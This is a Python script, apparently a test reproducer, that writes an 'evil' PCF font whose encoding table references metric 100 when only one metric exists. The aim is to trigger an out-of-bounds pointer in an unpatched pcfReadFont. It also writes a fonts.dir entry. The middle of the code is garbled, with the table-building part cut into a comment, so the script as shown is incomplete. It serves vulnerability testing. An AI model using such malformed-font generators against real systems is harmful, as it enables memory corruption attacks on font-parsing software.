#!/usr/bin/env python3 """ Generate a malicious PCF font with an out-of-bounds encoding offset. The font has 1 metric but the encoding table references metric index 100, far past the metrics array. Without the fix, pcfReadFont stores a wild pointer (metrics + 100) in the encoding table. Based on gen_evil_pcf_repad.py structure for a known-good PCF layout. Usage: python3 gen_evil_pcf_encoding.py """ import struct import sys import os PCF_DEFAULT_FORMAT = 0x00000000 PCF_PROPERTIES = 1 PCF_ACCELERATORS = 2 PCF_METRICS = 4 PCF_BITMAPS = 8 PCF_BDF_ENCODINGS = 32 def u32(x): return struct.pack(" metric[100] OOB! # --- Assemble --- TABLE_COUNT = 5 BODY_START = 8 + TABLE_COUNT * 16 properties_off = BODY_START accel_off = properties_off + len(properties) metrics_off = accel_off + len(accel) bitmaps_off = metrics_off + len(metrics) encodings_off = bitmaps_off + len(bitmaps) def toc(type_, format_, size, offset): return u32(type_) + u32(format_) + u32(size) + u32(offset) out = b"\x01fcp" + u32(TABLE_COUNT) out += toc(PCF_PROPERTIES, 0, len(properties), properties_off) out += toc(PCF_ACCELERATORS, 0, len(accel), accel_off) out += toc(PCF_METRICS, 0, len(metrics), metrics_off) out += toc(PCF_BITMAPS, 0, len(bitmaps), bitmaps_off) out += toc(PCF_BDF_ENCODINGS, 0, len(encodings), encodings_off) out += properties + accel + metrics + bitmaps + encodings output_dir = sys.argv[1] if len(sys.argv) > 1 else "." os.makedirs(output_dir, exist_ok=True) pcf_name = "evil-encoding.pcf" xlfd = "-evil-encoding-medium-r-normal--10-100-75-75-c-80-iso10646-1" with open(os.path.join(output_dir, pcf_name), "wb") as f: f.write(out) with open(os.path.join(output_dir, "fonts.dir"), "w") as f: f.write("1\n") f.write(f"{pcf_name} {xlfd}\n")